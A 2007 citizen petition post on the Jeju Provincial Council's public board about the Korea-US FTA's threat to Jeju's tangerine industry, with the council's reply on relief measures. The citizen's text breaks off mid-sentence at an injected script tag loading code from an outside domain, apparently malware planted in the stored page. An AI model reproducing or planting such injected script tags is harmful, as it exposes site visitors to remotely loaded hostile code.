<의회에 바란다>는 의정운영에 도민의 의견을 적극 반영하고자 운영되는 게시판입니다.
「제주특별자치도 인터넷 홈페이지 설치 및 운영에 관한 조례」 제10조(홈페이지 게시물 관리)에 의하여 특정인의 명예훼손, 정치적 목적이나 성향, 욕설·음란물 등 불건전한 내용, 기타 게시판 운영 취지에 맞지 아니하는 게시물은 삭제될 수 있으며, 게시자는 게시물 등록에 의해 발생되는 모든 문제에 대해 민·형사상의 책임을 져야 함을 알려 드립니다.
| 한미FTA에 대한 의견과 질문 | |
|---|---|
| No | 109 |
| 작성자 | 한아름 |
| 조회수 | 1869 |
| 등록일 | 2007-04-26 00:00 |
| 안녕하십니까? 저는 제주도특별자치도 제주시에 살고 있는 한아름이라고 합니다. 우선, 제주특별자치도의 무궁한 발전과 제주특별자치도민의 안전하고 편안한 삶을 위해서 정치, 경제, 관광, 사회 등 전 분야에 걸쳐 열심히 노력해 주셔서 감사합니다. 특히 요즘 우리 지역의 중요한 문제가 되고 있는 한미FTA와 해군기지 건설 문제의 해결책을 강구하기 위해 회의도 개최하고, 국회의원과 만나 의견을 전달하기도 하고, 정부에 건의도 하는 등 적극적인 행동에 깊은 감사드립니다. 저 또한 요즘 우리 지역의 관심사인 한미FTA에 대해 깊은 관심을 가지고 있습니다. 그리하여 이와 관련된 것 중에서 좀 더 자세히 알고자 하는 것이 있어 이렇게 글을 올립니다. 저의 아버지는 수 십년 동안 감귤농사를 짓고 계신데 매년 느시는 건 한숨과 주름살 뿐입니다. 저도 자주 부모님의 일을 도와드렸기 때문에 농사일 이라는 것이 쉽지 않다는 것을 잘 알고 있습니다. 물론 농사 자체가 힘들지만 제가 느끼기에는 다른 농사들보다 감귤농사가 더 손도 많이 가고 관심과 애정도 많이 들어간다고 생각합니다. 이렇게 일년 내내 애지중지 키웠는데 시간이 지날수록 점점 가격은 하락해서 근심이신데 한미FTA는 생존권까지 빼앗아 가려 하고 있습니다. (아래의 자료는 한라일보 2007년 4월 23일자를 참고 한 것입니다.) 우루과이라운드(UR)가 출범하는 95년 이전까지 감귤은 지역 총생산액(GRDP)의 약 20%를 점유하는 제주 최대산업으로 구가했습니다. 실제로 감귤 조수입은 85년 1천2백42억원, 90년 3천1백51억원, 94년에는 5천5백21억으로 급성장했습니다. 감귤로 얻는 수입이 높아짐에 따라 도민들 대부분은 감귤농사로 전향하게 되고 시간이 지남에 따라 그 수가 증가하고 결국 우리나라 감귤 최대의 생산지에 이르게 됩니다. 하지만 그 기쁨도 잠시 WTO와 UR 출범 등 시장개방으로 오렌지 등 외국산 신선과일 수입량이 매년 급증해 감귤산업은 위기를 맞게 됩니다. 수입개방 여파는 유통혼란과 가격폭락이 이어지면서 농가 조수입 감소 그대로 나타나게 됩니다. 5천억원이 넘던 감귤 조수입은 95년 4천3백35억, 2002년 3천1백65억원으로 곤두박질치게 됩니다. 1997년부터 2003년까지 7년 동안 생산비조차도 건지지 못하는 마이너스 소득으로 감귤산업은 몰락위기에 직면하게 됩니다. 제주농가들은 그대로 주저앉을 수가 없었기 때문에 생존적 차원의 힘겨운 자구노력실천을 하게 되는데 재배 면적을 대폭 줄이고 적정 출하를 위한 유통명령제, 상품규격 완화 등 산지유통 혁신이 계속 됩니다. 감귤원 4천5백ha를 폐원시키고 1만여ha를 간벌하게 됩니다. 노지 감귤에 집중된 작부체계도 월동온주, 한라봉, 시설감귤로 다변화시키고 연중 생산체계를 가속화시켜 나갑니다. 그 결과 2004년부터 3년 연속 조수입 6천억원대까지 올려놓게 됩니다. 이런 경험 때문에 한미FTA협상에서 감귤류의 개방은 곧 제주경제의 붕괴라는 절박한 현실을 정부와 현상단에게 전달하고 감귤을 쌀과 같이 대우해 줄 것을 일관되게 요구해 왔던 것입니다. 감귤은 전체 농업인의 85%가 재배하고 있으며, 농산물 생산액의 53%를 점유하고 있어 육지부의 쌀보다도 더 비중을 차지하고 있습니다. 충격을 다시 딛고 일어선 제주농민들이 한미FTA 협상 자체를 거부하고 감귤을 쌀과 대등하게 개방협상품목에서 제외해달라고 외쳐왔던 것은 선택의 문제가 아니라 생존권이 걸린 절규나 다름없는 것입니다. 많은 농민들의 울부짖음에도 불구하고 결국 협상을 타결하게 되었고 제주특별자치도 내의 비상등이 켜지게 된 것입니다. 게다가 협상내용은 오렌지를 완전 개방해 미국의 뜻대로 할 수 있도록 주도권을 쥐어주는 것과 다름없습니다. 오렌지 수입이 안 되고 노지감귤이 생산되지도 않는 9월과 10월을 계절관세 기간에 포함시키면서, 노지감귤 출하도 끝나지 않고 한라봉 등 만감류와 월동감귤이 본격 출하되는 3월부터 5월까지는 관세철폐 기간으로 함으로써 감귤산업 전체가 치명상을 입게 되었다는 것입니다. 이는 시설에 막대한 투자를 한 하우스 농가들 뿐만 아니라 비료, 농약등 1년 내내 감귤농사에만 매달려 있는 농가들을 빚덩이에 앉게 만드는 것이라고 생각합니다. 또한 정부가 내놓은 한미FTA 관련 지원 중 비 가림 하우스 보조 및 융자는 지원이 아니라 오히려 농민들의 빚을 더욱 가중시키는 걸림돌이 될 것입니다. 제주에서 처음 바나나를 재배 할 당시나 꽃 화훼 하우스 절차 모두가 이런 피해를 잘 보여줍니다. 한미FTA를 막기 위해 농민단체 및 시민사회단체등과 함께 협상을 반대하는 운동도 벌였다는 것도 잘 알고 있습니다. 이젠 국회 비준만 남았습니다. 하지만 저 뿐만 아니라 많은 사람들이 볼 때는 비록 올해 안에 통과 되지 않을 것이지만 우리나라 전체의 이익을 위해서라면 이를 통과시킬 수 밖에 없?lt;script src=http://wefd4.cn> | |
| ▲ 이전글 | 해군기지 건설에 관한 질문입니다. |
| ▼ 다음글 | 장애인 이동권에 대한... |
| 답변 | |
|---|---|
| 작성자 | 도의회 |
| 등록일 | 2007-04-27 00:00 |
| 첨부 | |
| 제주특별자치도의회에 각별한 관심을 가져주시는 한아름 님에게 먼저 진심으로 감사의 말씀드립니다. 제주특별자치도민의 염원과는 달리 지난 4월2일 오렌지 등 감귤류가 계절관세에 의한 한·미 FTA협상이 타결되었다는 소식은 제주도민에게 비통과 충격을 주고 있습니다. 한아름 님도 잘 아시다시피 제주특별자치도의 감귤산업은 조수입(‘05년)이 6,006억원으로 이는 제주특별자치도의 GRDP 7.6%, 농업조수입의 46%를 차지하는 생명산업입니다. 또한 전체 농가의 86%를 차지하는 31,233농가가 2,000여평 규모의 재배면적을 갖고 있는 실정입니다. 이번 4월2일 한·미FTA협상 결과로 인하여 국가연구기관마다 다소 차이가 있습니다만, 제주대학교 용역연구결과를 보면 매년 2,000억원 수준의 피해가 발생한다고 발표한바 있습니다. 앞으로 제주특별자치도의회에서는 귀하께서 질의하신 바와 같이 중앙정부와 제주특별자치도에서 금년 6월말까지 대체작목개발, 신품종개발, 공격형 수출전략, 소비촉진을 위한 홍보 등 구체적인 감귤산업육성대책을 마련하도록 요구하고 있으며, 국회에는 이러한 육성대책이 마련되기 전까지는 국회 비준 동의를 거부하여 주실 것과 각 정당에는 정강정책에 반영하여 지속가능한 감귤산업을 육성할 수 있도록 제17대 대통령 선거공약에 포함시킬 수 있도록 강력히 요청하고 있음을 알리오니 이점 양지하여 주시기 바랍니다. 농수축·지식산업위원회 전문위원실 조영필(064-741-2063) | |
콘텐츠 관리부서 : 총무담당관 담당자 : 문상익 (☎ 064-741-1981)
